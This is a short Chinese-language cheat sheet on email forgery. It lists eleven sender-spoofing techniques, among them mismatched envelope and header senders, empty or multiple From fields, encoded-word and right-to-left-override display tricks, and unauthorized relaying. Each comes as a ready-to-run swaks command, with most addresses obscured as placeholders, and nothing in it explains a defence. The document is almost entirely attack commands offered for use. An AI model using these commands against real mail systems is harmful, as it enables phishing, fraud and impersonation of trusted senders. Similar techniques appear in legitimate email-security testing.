邮件伪造方法总结

0x01 mail From头与认证用户的用户名不一致

swaks -t [email protected] -b "test" -f [email protected]  -s [email protected] -au USERNAME -ap PASSWORD

0x02 邮件From头和Mail From头之间不一致

swaks -t [email protected] -f [email protected] --h-From: '"admin"'

0x03 空的Mail From头

swaks -t [email protected] -f " " --h-From: '"admin"'

0x04 多级From头

swaks -t [email protected] -f "[email protected]" -f "[email protected]" --h-From: '"admin"'

0x05 From头有多个地址

swaks -t [email protected] -f [email protected] --h-From:'"admin" ', '"admin2"' -e [email protected]

0x06 解析具有不一致性的攻击

swaks -t [email protected] -f [email protected]:[email protected] --h-From:'"admin"'

0x07 基于编码的伪造攻击

swaks -f [email protected]  -t [email protected] --h-From:'=?utf-8?B?57up5pWI566h55CG?= '

0x08 子域攻击

swaks -t [email protected] -f [email protected] --f-From:'"admin"'

0x09 未经授权的转发攻击

swaks -t [email protected] -f [email protected] --body "test" --h-X-Mailer google.com --server [email protected] -p 2525 -au USERNAME -ap PASSWORD

0x10 缺少UI渲染攻击

swaks -t [email protected] -f [email protected] --h-From:'admin@[email protected]'

0x11 RTL覆盖攻击

swaks -t [email protected] -f [email protected] --h-From:'\u202emoc.a@\u202dalice'